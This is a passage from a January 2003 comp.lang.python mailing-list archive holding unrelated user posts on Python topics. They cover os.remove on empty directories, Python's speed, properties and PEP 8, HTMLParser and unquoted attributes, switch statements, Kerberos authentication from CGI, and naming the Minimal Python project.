will throw an exception even for empty directories.

>>Disadvantages:
>>
>>    1. Backwards compatability (minor I think)
> 
> Major, I think.  At least insofar as there is probably lots of
> code that uses os.remove/os.unlink *knowing* that it is "safe"
> and will never remove subdirectories that a user might have added.

As I said above that is not what I'm proposing. I just want
the simple change to allow remove() to work on empty directories.
Actually I don't see any backwards compatability probs at all.

P?draig.




From fgeiger at datec.at  Mon Jan 13 07:58:00 2003
From: fgeiger at datec.at (F. GEIGER)
Date: Mon, 13 Jan 2003 13:58:00 +0100
Subject: [OT] Seeking Minimal Python Project Name
Message-ID: <3e22b7f7@news.swissonline.ch>

Seems somebody has started a competition in finding names for Minimal
Python.

Minimal Python -> Mython.

Children's Python (this kind of pythons really exists, German:
Zwergpython) -> Chython

Small Python -> Smython

Dwarf + Python -> Dwython

What about an other kind of snake, preferably a small one: Mamba.

Any snake adicts hanging around here?

Cheers
Franz






From peter at cendio.se  Tue Jan 21 08:23:11 2003
From: peter at cendio.se (=?iso-8859-1?Q?Peter_=C5strand?=)
Date: Tue, 21 Jan 2003 14:23:11 +0100 (CET)
Subject: [win32] Busy-loop in win32\Demos\dde\ddeserver.py
Message-ID: <Pine.LNX.4.44.0301211404110.305-100000@maggie.lkpg.cendio.se>

I need to use DDE as a IPC mechanism, and looked at the examples 
ddeclient.py and ddeserver.py. I've noticed that when running 
ddeserver.py, this process uses 99% CPU; goes into a tight loop round:

while 1:
	win32ui.PumpWaitingMessages(0, -1)

Is this really intended? How can I make the thread sleep until any new 
event is recieved, can I use win32event.MsgWaitForMultipleObjects?

I also wonder if/how it's possible to combine a DDE server and client into 
one single application. 

Thanks, 
-- 
Peter ?strand                Telephone: +46-13-21 46 00
Cendio Systems               E-mail: peter at cendio.se
Teknikringen 3
583 30 Link?ping







From jepler at unpythonic.net  Mon Jan 27 16:02:57 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 27 Jan 2003 15:02:57 -0600
Subject: list of Canvases contais only Nones
In-Reply-To: <3E359B99.6060102@aon.at>
References: <3E359B99.6060102@aon.at>
Message-ID: <20030127210256.GK16079@unpythonic.net>

.grid() returns None, not the widget.

Write this:
    for: ...
        w = Canvas(...)
        w.grid(...)
        canv_list.append(w)

Jeff




From lac at strakt.com  Tue Jan  7 03:38:54 2003
From: lac at strakt.com (Laura Creighton)
Date: Tue, 07 Jan 2003 09:38:54 +0100
Subject: Laura's List - was Re: new years resolutions 
In-Reply-To: Message from Peter Hansen <peter@engcorp.com> 
   of "Mon, 06 Jan 2003 22:05:30 EST." <3E1A43FA.ED37F9F7@engcorp.com> 
References: <20030106212551.A19866@bob.sesgroup.com.au> <mailman.1041872455.22710.python-list@python.org> <3E1A43FA.ED37F9F7@engcorp.com> 
Message-ID: <200301070838.h078csjL000548@ratthing-b246.strakt.com>

> Laura Creighton wrote:
> > 
> > > > 18. Too much paperwork.
> > >
> > > Again, I can't really see it as being that much more than industry.
> > 
> > Hee hee.  You need a CAPS system.  see www.strakt.com ...
> 
> CAPS?  Please expand...
> 
> (Yes, a google search would probably do it... but only if I knew
> to "workflow" or something like that, which I don't, and even 
> then I'd get to capsinc first, unless I looked at the second
> link instead...  ;-)
> 
> -Peter

Er, thats the acronym for what we build around here.  You aren't going
to find out about it anywhere but www.strakt.com ...

Laura




From mwilson at the-wire.com  Mon Jan 13 10:52:24 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Mon, 13 Jan 2003 10:52:24 -0500
Subject: Is it advisable to replace 'self' with '_' or 'I' or something
References: <f57664b9.0301110959.5b1439da@posting.google.com>
 <3E210503.9A4F4AC8@alcyone.com>
Message-ID: <4CuI+ks/K3jd089yn@the-wire.com>

In article <3E210503.9A4F4AC8 at alcyone.com>,
Erik Max Francis <max at alcyone.com> wrote:
>"Jonathan P." wrote:
>
>> I agree with the fact that explicit use of self is good
>> for code readability, however it tends to make code lines
>> too long.  Since 'self' is just a convention, I wonder if
>> people out there have tried replacing it with a one-character
>> equivalent without encountering any problems.
>>
>> I was thinking of using '_' ('I' is a distant second
>> choice) instead of self.  Comments?
>
>I would consider any systematic use of a self parameter named something
>other than `self' a near perversity.  You're just begging for confusion.
>
>If you want to rebind it in the method, fine.

   As a tiny addition: I seem to find it more useful to
rebind entire variables, so that I write

    t = self.tree
    t.yadayada()
    t.usw ()

rather than

    s = self
    s.tree.yadayada()
    s.tree.usw ()

That's dummy code, of course .. real code would look like:

        t = self.tree
        i = t.AppendItem (parent, text)
        t.SetPyData (i, data)
        t.EnsureVisible (i)

   A shortcut to an important local variable seems more
motivated, somehow.


        Regards,        Mel.



From peter at engcorp.com  Thu Jan  2 09:26:04 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 09:26:04 -0500
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose 
 language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net> <mailman.1041471183.23600.python-list@python.org>
Message-ID: <3E144BFC.399B8510@engcorp.com>

Yu Wang wrote:
> 
> For commercial usage, ( sorry, I would say it twice ), python program is
> simple, clear, maintainable..., but it's slow. 

As a developer of commercial software written in Python, I have to say
that Yu Wang's statement about Python's speed is simply not always true.   
I would even venture to suggest that it is only rarely true.

If you were to change the above to say "but it's slower than C" it would be true...

> C/C++ ( sorry again, I would take c/c++ as example because I'm now using 
> them ) is rather faster and flexible.  Sometimes, people choose language 
> just by run-time speed.

These two statements are both true.  Clearly C is faster.  In fact, that's
a good thing to know when developing Python code, so that *IF* you reach
the point where the performance of your Python program is too slow (**),
then you can always fall back on a little well-conceived C extension to
solve the problem.  It's never a reason to abandon Python completely.

** "too slow" is almost always defined incorrectly.  In most cases,
it means "I think this should run faster".  In fact, it should be 
defined as "my customers *require* that this run faster" or something 
more like that.  Most developers are wrong about how fast things 
really need to run... (maybe because they have no requirements.)

Another key point is that most people start to optimize their code
*without* having profiled it first, and *without* making sure the 
code is actually working properly first (i.e. "finished") .  
Optimization without profiling is always bad and, to quote Knuth
yet again, "Premature optimization is the root of all evil."

See also http://billharlan.com/pub/papers/A_Tirade_Against_the_Cult_of_Performance.html

> I'm not saying python is not fit for commercial usage. In fact, I have
> seen several  successful stories about python projects. But, in my memory, 
> they are still somewhat "private projcet" done by one or two or several guys. 
> ( mostly, one person enough ). 

Our projects are certainly private, but they have involved the effort
of at this point over twenty different Python programmers, sometimes 
as many as ten at a time.  And some of them are female, too. ;-)

-Peter



From johnroth at ameritech.net  Sun Jan 19 20:49:19 2003
From: johnroth at ameritech.net (John Roth)
Date: Sun, 19 Jan 2003 20:49:19 -0500
Subject: PEP 8 and properties
References: <f57664b9.0301191717.2fa584d5@posting.google.com>
Message-ID: <v2mlb2s499teb2@news.supernews.com>

"Jonathan P." <jbperez808 at yahoo.com> wrote in message
news:f57664b9.0301191717.2fa584d5 at posting.google.com...
> From PEP 8:
>
> Designing for inheritance
>
>   ...  It's almost always preferrable to give a
>   functional interface to your class instead (and
>   some Python 2.2 developments will make this
>   much nicer)...
>
> Do properties (what I believe is being referred to
> by the phrase 'some Python 2.2 developments') count
> as a functional interface?  Their usage is identical
> to public variables/attributes, so I have to disagree.

I think there's some confusion here. The dictum that
you don't expose variables comes from the "information
hiding" school of thought. A variable is part of the
internal implementation of the class, and you should
be able to change it freely. A function, on the other
hand, is part of an API, and doesn't constrain changes
to the implementation nearly as much.

Now, if the language includes properties, then the
assessment changes, because there is no external
difference between variables and properties. You
can publish a variable, and then if you want to change
the implementation so that the variable doesn't (even
conceptually) exist any more, you can make it
a property, which lets you slide the accessor functions
in under the hood.

> I have yet to be fully convinced that accessor
> functions (and now, properties) are a good
> abstraction.  I'm very uncomfortable about the
> idea of properties allowing side effects.  I
> can't help but feel that they are yet another
> addition to that mess of conceptual kludges known
> as OOP.  OOP seems to have much less of a solid
> theoretical foundation than the relational or
> functional models and it shows in all the annoying
> complexity you see in most OOP languages.  I
> wonder if studying Smalltalk can yield some OOP
> wisdom.  OOP was originally only about message
> passing between objects, but it has strayed from
> the path of its (purported) initial simplicity.
> ( guess who/which language is to blame ;-) )
>
> I believe that Python's language design is such
> that direct usage of 'public variables' is
> not a bad practice at all.  I'm currently building
> a fairly complex class library and should be in a
> position to prove or disprove this to myself.

I personally prefer simple variables for one reason:
you can assign to a variable while you cannot assign
to an accessor function.

On the other hand, functions protect you from
spelling errors.

John Roth





From nospam at hotmail.com  Thu Jan 16 10:59:13 2003
From: nospam at hotmail.com (Cam Cairns)
Date: Thu, 16 Jan 2003 15:59:13 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
In-Reply-To: <mailman.1042436962.21167.python-list@python.org>
References: <mailman.1042436962.21167.python-list@python.org>
Message-ID: <3E2701B3.80105@hotmail.com>

Anthony Baxter wrote:
> Christian Tismer wrote
> 
> While a name is most unimportant for me,
> I agree that it *is* important for the
> community to be able to spell it.
> 

I suggest/second Pype (pronouce it 'pip' if you want to emphasise
its minimalistic nature, 'pipe' if you want to emphasis its roots.

> Anyone having some good suggestions?
> 
> 
> According to 
> http://www.zoomschool.com/subjects/animals/Animalbabies.shtml
> baby snakes are called:
> 
>   Snakelet, 
>   neonate (a newly-born snake), 
>   hatchling (a newly-hatched snake)
> 
> More reading shows that neonates are babies that
> are born "live" (not really, but it seems like it - see
> http://double-d-reptiles.tripod.com/birth.html 
> for more), while hatchlings are from egg-laying species 
> (which includes Pythons).
> 
> "Snakelet" has a cool sound to it, tho...
> 
> Anthony
> 




From NadavH at envision.co.il  Tue Jan  7 04:12:47 2003
From: NadavH at envision.co.il (Nadav Horesh)
Date: Tue, 07 Jan 2003 11:12:47 +0200
Subject: Is it really good?
Message-ID: <3E1A9A0F.6020306@envision.co.il>

Can someone explain why python does not raise NameError in the first 
test line blow.
I get similar results with Python 2.3a1, wich (obviously) answer False 
instead of 0.

===============================================================
Python 2.2.2 (#5, Dec 19 2002, 10:39:16)
[GCC 3.2.1] on linux2
Type "copyright", "credits" or "license" for more information.
IDLE 0.8 -- press F1 for help

 >>> 2 == 3 is good
0     # ????????????????????????

 >>> (2 == 3) is good
Traceback (most recent call last):
  File "<pyshell#1>", line 1, in ?
    (2 == 3) is good
NameError: name 'good' is not defined
 >>> 2 == (3 is good)
Traceback (most recent call last):
  File "<pyshell#2>", line 1, in ?
    2 == (3 is good)
NameError: name 'good' is not defined
 >>>

===============================================================

  Nadav.






From jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz  Tue Jan 28 19:28:23 2003
From: jester at NOSPAM.mcsnospam.vuw.netNOSPAM.nz (Mike McGavin)
Date: Wed, 29 Jan 2003 13:28:23 +1300
Subject: Getting a kerberos ticket
Message-ID: <1043800103.831567@bats.mcs.vuw.ac.nz>

Hello everyone.

Is anyone able to direct me to a python module for interacting with 
kerberos 5? I have a situation where I need to connect to a postgresql 
database using kerberos authentication from a python CGI script.

When connecting locally and interactively I can run kinit beforehand to 
authenticate and get the ticket and so on, so there haven't been any 
problems. (I've been using PyGreSQL to connect to postgres.) It's more 
awkward with a CGI script, though, because it's running in an 
independent environment on a web server that I don't have much access to 
besides running CGI scripts. There's no way that I can run kinit without 
an ugly and inefficient hack that I'd prefer to avoid.

I think what I need to do is get a ticket issued whenever one is 
needed... preferably not every time the script loads, although that 
would be a hack I could live with for now.

Does anyone have any experience with this, and possibly some sample code?


Thanks for any help.
Mike.




From mwm at mired.org  Thu Jan  2 21:26:26 2003
From: mwm at mired.org (Mike Meyer)
Date: 02 Jan 2003 20:26:26 -0600
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch>
Message-ID: <x7k7hn7yul.fsf@guru.mired.org>

"Samuele Pedroni" <pedronis at bluewin.ch> writes:
> From: "David Mertz" <mertz at gnosis.cx>
> > I've got to thinking about multimethods/multiple dispatch lately.  I
> > wonder if Pythonistas have some futher opinions on the use of these.
> > Actually, part of it is that I'd -really- like to better understand use
> > cases for multiple dispatch.  As a trick, I can see it has a certain
> > elegance, but little rock/paper/scissors toys are not, finally,
> > compelling.
> 1) You can think about operators as multimethods vs. __add__ __radd__ .

The interesting question this brings up is how replacing the current
set of rules by a true multiple dispatch mechanism would change adding
types/methods to the existing type lattice. Anyone have any thoughts
on that?

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From tismer at tismer.com  Mon Jan 13 19:01:29 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 01:01:29 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
        MinimalPython project)
In-Reply-To: <15906.53172.509725.566680@montanaro.dyndns.org>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com>        <mailman.1042209749.31180.python-list@python.org>        <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>        <7xr8bjgz4x.fsf@ruckus.brouhaha.com>        <mailman.1042326208.15022.python-list@python.org>        <7x4r8ej1r9.fsf@ruckus.brouhaha.com>        <mailman.1042393464.20506.python-list@python.org>        <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net>        <3E222FC1.40908@tismer.com>        <20030113124645.I1568@prim.han.de> <15906.53172.509725.566680@montanaro.dyndns.org>
Message-ID: <3E235359.4010000@tismer.com>

Skip Montanaro wrote:
> To those folks scanning about for a new name, you're welcome to use
> "rattlesnake", a name I came up with a few years ago for a register-based VM
> for Python (that is, "Python with more bite").  There is no "rattlesnake"
> project on SF, so that's available.  There's even a defunct mailing list on
> Yahoo! Groups you can take over. ;-)

Hee hee. Rattlesnake!
I know about a couple of people from Texas,
who told me "we don't negotiate with rattlesnakes".

So they will probably shoot me if we don't come
up with a reasonable development.

Maybe we should exercise some coding, before we
can judge whether it is  really going to rattle? :-)

your's sincerely -- chris





From grante at visi.com  Sun Jan 19 10:53:54 2003
From: grante at visi.com (Grant Edwards)
Date: 19 Jan 2003 15:53:54 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de> <bsoi2v4rokh97unbdnfa9pndd8cctjd6ru@4ax.com> <slrnb2itok.8di.grante@localhost.localdomain> <Xns9307CD595EDCBrcamesz@amesz.demon.nl> <slrnb2jcl0.8mr.grante@localhost.localdomain> <og8k2vcu9ro7alrotei17tnm7umvmnou8f@4ax.com>
Message-ID: <slrnb2liqg.ih7.grante@localhost.localdomain>

In article <og8k2vcu9ro7alrotei17tnm7umvmnou8f at 4ax.com>, Afanasiy wrote:
> On 18 Jan 2003 19:56:24 GMT, Grant Edwards <grante at visi.com> wrote:
> 
>>In article <Xns9307CD595EDCBrcamesz at amesz.demon.nl>, Robert Amesz wrote:
>>> Grant Edwards wrote:
> 
>>For whatever historical reasons, operator overloading and function/method
>>overloading are usually considered as two separate language features.  C and
>>python have the former but not the latter. C++ has both.
> 
> Like others, I was caught by "C [has] the former"... and I will just
> say... I meant overloading that developers could define themselves.
> 
> Otherwise, I have a tough time thinking of a language
> that doesn't have operator "overloading"...

You're correct: C doesn't have programmer controlled operator
overloading.

-- 
Grant Edwards                   grante             Yow!  One FISHWICH coming
                                  at               up!!
                               visi.com            



From mis6 at pitt.edu  Fri Jan  3 13:26:59 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 3 Jan 2003 10:26:59 -0800
Subject: how to extract source code from code objects ?
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com> <mailman.1041525363.20935.python-list@python.org>
Message-ID: <2259b0e2.0301031026.63ae69aa@posting.google.com>

Thanks for the kind replies. Here is my motivation.
I was experimenting with symbolic manipulations in Python (see a
thread on this
subject I started few weeks ago). In that thread I asked for a
function able
to perform nontrivial substitutions in Python expression. For instance
I
wanted a function that could transform the expression

"square(square(x+y)+z)+square(x+w)"

in

"((x+y)**2+z)**2+(x+w)**2"

when square is the function that sends x -> x**2.

For this simple problem Bengt Richter provided me with a nice solution
involving the tokenize module. However that solution is not general.
In the case of complicate arguments (involving nested lists for
instance) it is not enough to scan the Python code,  one needs to
parse it. Therefore, I wanted to use the parser module to extract the
AST of the original expression, modify it, and go back to source code
for the modified AST. However, I haven't seen a builtin mechanism to
convert AST -> source. One can convert AST -> bytecode and for this
reason I wanted to convert bytecode to source. It would be much better
for me to convert directly AST -> source. How easy/difficult is it ?

I haven't in mind a project involving symbolic manipulations, I am
considering
this problem with the only aim of better understanding how Python
works
under the hood (incidentally, notice that this kind of manipulations
on the source code are very close to having macros in Python).

                                    Michele



From sjmachin at lexicon.net  Sun Jan 26 02:18:12 2003
From: sjmachin at lexicon.net (John Machin)
Date: 25 Jan 2003 23:18:12 -0800
Subject: Translation table to map Latin-1 to ASCII?
References: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com>
Message-ID: <c76ff6fc.0301252318.ecc7156@posting.google.com>

Rene Pijlman <reageer.in at de.nieuwsgroep> wrote in message news:<j8563v4r381meidikj14v1tjsobcfvijra at 4ax.com>...
> Can anyone point me to a translation table for string.translate
> to map Latin-1 (ISO 8859-1) to ASCII such that \"e maps to e
> etc.?

The translation table would depend on what you want to use it for; you
are smashing 256 different characters into 128, so you have a choice
of losing information or emitting at least two characters per input
character. If you are conflating similar characters so that you can do
some sort of approximate matching, you might as well upshift at the
same time i.e. e-diaeresis would map into E. On the other hand if you
want the results to appear mildly presentable in the land of origin,
you would need to find out the conventions that exist in various
countries for representing accented characters in ASCII (e.g. in
Germany (so I understand) v-diaeresis becomes "ve" for some vowels v,
and the sharp-s (Eszett) becomes "ss") and hope that different
countries don't have a different mapping for the same character.

What do you want to do with all the non-alphabetic characters?

I trust this isn't a Python specific question i.e. if someone gave you
a translation table to be used in C or some other language, you'd be
able to Pythonise it. In which case, instead of posting in
comp.lang.python, you might want to ask in an
internationalisation-related newsgroup, once you've refined your
question.



From fcoldwat at tampabay.rr.com  Sun Jan  5 15:30:02 2003
From: fcoldwat at tampabay.rr.com (fcoldwat at tampabay.rr.com)
Date: Sun, 05 Jan 2003 20:30:02 GMT
Subject: Newbie need's help & will give back what I can???
Message-ID: <eB0S9.20176$Sa3.725600@twister.tampabay.rr.com>

Hay this Shane.....
    Ive been a computer geek my whole life and know alot about them....I had
a hard time in my life growing up and money problems...I have learnd all I
know up till now and need some help with programming...This is my problem, I
cant memorize all the diffrent terms that are used or the format which the
language Python is in....Thats ok I will get with time,,I need some very
easy projects to start with is all....Just till I get used to all this...And
yes this is my first time programming to...But im a quick learner and am not
scared to jump into this...I jumped into redhat linux 7.2 and had no problem
running it...Just was a new OS and had to get used to it...Send what you can
to help me in anyway at redlinux293 at juno.com I will be so happy to see
somthing...This is my dream to program...I cant afford schooling and I
belive in freeware because I wouldent be whare im at with out it....Thank
you for reading this....I do need help to anything that will point me in the
right direction of programming....





From hancock at anansispaceworks.com  Tue Jan  7 20:41:35 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 01:41:35 GMT
Subject: fixed point vs fixed decimal
References: <avcuj1$6a7$1@news.service.uci.edu> <v1k1tts6o9ta1e@news.supernews.com> <EN6w0WAFRpG+EwB8@jessikat.fsnet.co.uk> <v1lks0heodna06@news.supernews.com>
Message-ID: <jlLS9.19659$134.2076132@newsread1.prod.itd.earthlink.net>

John Roth wrote:
> You're right! I'd forgotten about the applications in graphics and
> motor control where floats are too expensive.

They are also a convenient natural representation for angles -- if you 
allow a fixed size, unsigned integer to overflow without error, and map the 
range of the integer to a full circle, then its behavior is exactly correct 
for the task and does not require special edge-case handling.

I saw this trick in a graphics programming book years ago.

They can also be handy in graphics acceleration tasks (but in C, obviously).

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From bokr at oz.net  Thu Jan  2 07:58:27 2003
From: bokr at oz.net (Bengt Richter)
Date: 2 Jan 2003 12:58:27 GMT
Subject: HTMLParser and Quotes
References: <qpj71v0as06msdmoj6nep17dptnvtqlml6@4ax.com>
Message-ID: <av1d1j$dj$0@216.39.172.122>

On Thu, 02 Jan 2003 05:37:37 GMT, Richard West <rwest2 at opti.cgi.net> wrote:

>
>This evening I found a case that crashes HTMLParser (lib 2.2.2) which
>probably shouldn't.  Check out the following code:
>
>
>from HTMLParser import HTMLParser
>
>test = """<html>
><body>
><font face=arial,helvetica>test</font>
></body>
></html>"""
>
>x = HTMLParser()
>x.feed(test)
>
>
>The face should obviously have quotes around its value, but under the
>circumstances I would think HTMLParser should take anything up until
>the next space or end of the tag as its value.
>
First a little nit: I don't think it's fair to say it "crashes" (which
implies a loss-of-control bug) when what the program did was complain
about its input, presumably according to design.

>From the HTML 4.0 spec:

"The HTML 4.0 specification includes an SGML declaration, three document
type definitions (see the section on HTML version information for
a description of the three), and a list of character references."

...

"3.2 SGML constructs used in HTML

The following sections introduce SGML constructs that are used in HTML."

...

"3.2.2 Attributes

Elements may have associated properties, called attributes, which may have values (by
default, or set by authors or scripts). Attribute/value pairs appear before the final ">"
of an element's start tag. Any number of (legal) attribute value pairs, separated by
spaces, may appear in an element's start tag. They may appear in any order.

In this example, the id attribute is set for an H1 element: 

   <H1 id="section1">
   This is an identified heading thanks to the id attribute
   </H1> 

By default, SGML requires that all attribute values be delimited using either double
quotation marks (ASCII decimal 34) or single quotation marks (ASCII decimal 39).
Single quote marks can be included within the attribute value when the value is
delimited by double quote marks, and vice versa. Authors may also use numeric
character references to represent double quotes (&#34;) and single quotes (&#39;).
For double quotes authors can also use the character entity reference &quot;. 

In certain cases, authors may specify the value of an attribute without any quotation
marks. The attribute value may only contain letters (a-z and A-Z), digits (0-9),
hyphens (ASCII decimal 45), and periods (ASCII decimal 46). We recommend using
quotation marks even when it is possible to eliminate them. 

Attribute names are always case-insensitive 

Attribute values are generally case-insensitive. The definition of each attribute in the
reference manual indicates whether its value is case-insensitive.

All the attributes defined by this specification are listed in the attribute index."


>From the "In certain cases ..." paragraph above, it looks to me
like the comma in the unquoted face list is the origin of the program's complaint.

Regards,
Bengt Richter



From avner at skilldesign.com  Sun Jan 26 02:19:39 2003
From: avner at skilldesign.com (Avner Ben)
Date: Sun, 26 Jan 2003 09:19:39 +0200
Subject: ANN: Skill-Driven Design language and compiler
Message-ID: <3e338c10$1@news.012.net.il>

Announcing
"Entity/Skill-Driven" Design ('SDD')
pre-release language specification and free compiler
By Avner Ben.

"Entity/Skill-Driven" Design is a comprehensive computer-aided method
of object-oriented software development, generating code starters in a
number of OOPLs.

-------------------------------------------------------------------------

Unique features of "Entity/Skill-Driven" Design:
- It is a language that is compiled to visuals
  (rather than a visual editing system, e.g., "CASE").
  Design in write-and-compile cycles, as in programming.
- It is centered on functionality and functional decomposition
  (rather than the usual object model, e.g., "UML").
  Code starters generate the familiar procedural control structure.

Use it
- To construct complex algorithmic software fast.
- To allow a greater portion of project time (typically over 50%) to design.

Version 1.0 of the SDD project is intended to be open-source.
(Until then, use "as is".)

-------------------------------------------------------------------------

For the Design langauage specification, introduction, case-study
and downloadables, please visit http://www.skilldesign.com/





From CousinStanley at HotMail.com  Sat Jan 11 16:02:03 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Sat, 11 Jan 2003 14:02:03 -0700
Subject: backreference
References: <avmpkh$hra$1@wnnews.sci.kun.nl>
Message-ID: <avq0mi$i7pnf$1@ID-130333.news.dfncis.de>

Would a simple non-re version work ???

list_lines = [ 'Greetings, huMon.' ,
               'How are you today?' ,
               'I hope you are OK;' ,
               'Python rocks!' ,
               'Check the following:' ]

for xLine in list_lines :

    last_char = xLine[ len( xLine ) - 1 : ]

    xStr = xLine[ : -1 ]

    print xStr , last_char






From bkelley at wi.mit.edu  Wed Jan  8 16:48:43 2003
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Wed, 08 Jan 2003 16:48:43 -0500
Subject: Python Script that Impersonates Emails
References: <8F_S9.3165$IC6.162153@news20.bellglobal.com> <mailman.1042054819.29179.python-list@python.org>
Message-ID: <3E1C9CBB.5030706@wi.mit.edu>

I believe that you might be looking for markow.py

http://mail.python.org/pipermail/python-announce-list/2002-February/001243.html




From bokr at oz.net  Thu Jan 16 22:56:39 2003
From: bokr at oz.net (Bengt Richter)
Date: 17 Jan 2003 03:56:39 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <mailman.1042672950.5712.python-list@python.org> <b05r5n$oan$0@216.39.172.122> <v2dmafqgjf6ad8@news.supernews.com>
Message-ID: <b07utn$bd1$0@216.39.172.122>

On Thu, 16 Jan 2003 11:10:43 -0500, "John Roth" <johnroth at ameritech.net> wrote:

>
>"Bengt Richter" <bokr at oz.net> wrote in message
>news:b05r5n$oan$0 at 216.39.172.122...
>> On Wed, 15 Jan 2003 18:21:40 -0500, Steven Scott
><bodoni26 at resnet.gatech.edu> wrote:
>>
>> >Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
>> >>=20
>> >> If/elif/else remains the most common method.  If Python ever gains
>> >> something
>> >> like a switch statement you can bet the farm it won't have a "fall
>thru=
>> >"
>> >> feature though, so the way you've coded your C switch statement
>wouldn'=
>> >t
>> >> work.
>> >>=20
>> >
>> >but the absolute /only/ reason you'd use a switch over an if (besides
>> >looking better) is fall through.
>> >
>> Well, if you look at the code for an optimized C switch I think you'll
>> find another reason. I.e., if you can predetermine that all the switch
>> case _constants_ form a compact sequence of values, you can generate a
>> computed jump through a table that is a lot faster than a series of
>> conditional jumps, and even in cases where you have to introduce
>conditional
>> jumps for boundary cases you may still gain.
>
>If all of the switch case _constants_ are single constants, you can use
>a dictionary or a list of functions.
>
The trouble with (current style) functions is that you can't put code in them
to rebind names in the caller's scope (i.e., the scope where you'd be in an
if/elif version of the case statement).

However, if you could define transparent same-scope functions, it could be different,
and also avoid most of the call overhead. I posted some musings along those lines
in a thread some time ago.

>And I'd agree that I don't want fall through. Ever. It creates difficult
>to
>find bugs.
>
I agree also. Please add my -1 to the vote on fall-through.

Regards,
Bengt Richter



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Thu Jan  2 14:50:15 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Thu, 02 Jan 2003 20:50:15 +0100
Subject: Cube Roots
In-Reply-To: <av24ff$qe3$1@ns2.gonzaga.edu>
References: <av24ff$qe3$1@ns2.gonzaga.edu>
Message-ID: <3e1497f7$0$142$e4fe514c@news.xs4all.nl>

John Smith wrote:
> How does one take a root higher than square roots in Python?  Can I take the
> cube root of a number?

N-root of X: raise X to the power 1/N:

 >>> 16**(1/4.0)
2.0

Irmen




From hwlgw at hotmail.com  Fri Jan 24 09:04:06 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 24 Jan 2003 06:04:06 -0800
Subject: Something like asynchronous XML-RPC possible?
References: <cb035744.0301240308.25034fed@posting.google.com> <3e31281c$0$49102$e4fe514c@news.xs4all.nl>
Message-ID: <cb035744.0301240604.6e5295b2@posting.google.com>

[Irmen de Jong]
> Are you tied to XML-RPC? Is UDP a requirement?
> If not: Pyro supports your desired usage pattern already.
> Either use Pyro's asynchronous Event Server, or use Pyro's
> "oneway" method calls.
> They currently use TCP for reliable delivery, but once the
> request has been sent, your program carries on, not waiting for
> any answers from the other object.
> 
> See http://pyro.sourceforge.net

I am not really tied to XML-RPC, but synchronous XML-RPC gives me the
transparancy to write:

  r = remote_process(url, port, ...)
  result = r.operation(params)

so I can use r just like any other class instance object.

What I want to do now is::

  r = remote_event_handler(url, port, ...)
  r.sendEvent(event)  # this statement has realtime constraints
                      # note there is no waiting for return values

I *know* I am not tied to UDP but to convince my boss I would have to
use UDP since he knows that is asynchronous.  Otherwise I would have
to convince him that what I am doing is also okay.  Using UDP would
save me from lengthly explanations and discussions.  I can foresee not
being able to convince them that the "components" I build have an
asynchronous semantics unless they communicate via UDP.  You know
bosses...

"Sounds interesting, but why don't you just use UDP like we asked you
to".



From martin at v.loewis.de  Thu Jan 16 07:25:21 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 16 Jan 2003 13:25:21 +0100
Subject: Changing truth
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <mailman.1042714955.32205.python-list@python.org>
Message-ID: <m34r89703y.fsf@mira.informatik.hu-berlin.de>

Christian Tismer <tismer at tismer.com> writes:

> What I think is that None, False and True have the
> drawback that they are names, which can be changed.
> I would like to make them like literals.
> Nobody can try to write
> 
> 1 = 42

Python 2.3a1 (#38, Jan 16 2003, 11:55:00)
[GCC 3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> def foo(None):pass
...
<stdin>:1: SyntaxWarning: argument named None
>>> None=1
<stdin>:1: SyntaxWarning: assigment to None

Assignment to None will be disallowed in a future release. True and
False would have been banned in the same way as well, if testing
hadn't found that quite a lot of code has constants named True and
False already. As this code gets modified to use the builtin
constants, SyntaxWarnings, then Errors, can be added for these as
well.

Regards,
Martin




From mgerrans at mindspring.com  Tue Jan 14 17:20:28 2003
From: mgerrans at mindspring.com (Matt Gerrans)
Date: Tue, 14 Jan 2003 14:20:28 -0800
Subject: [ANN] Latest Guido Interview
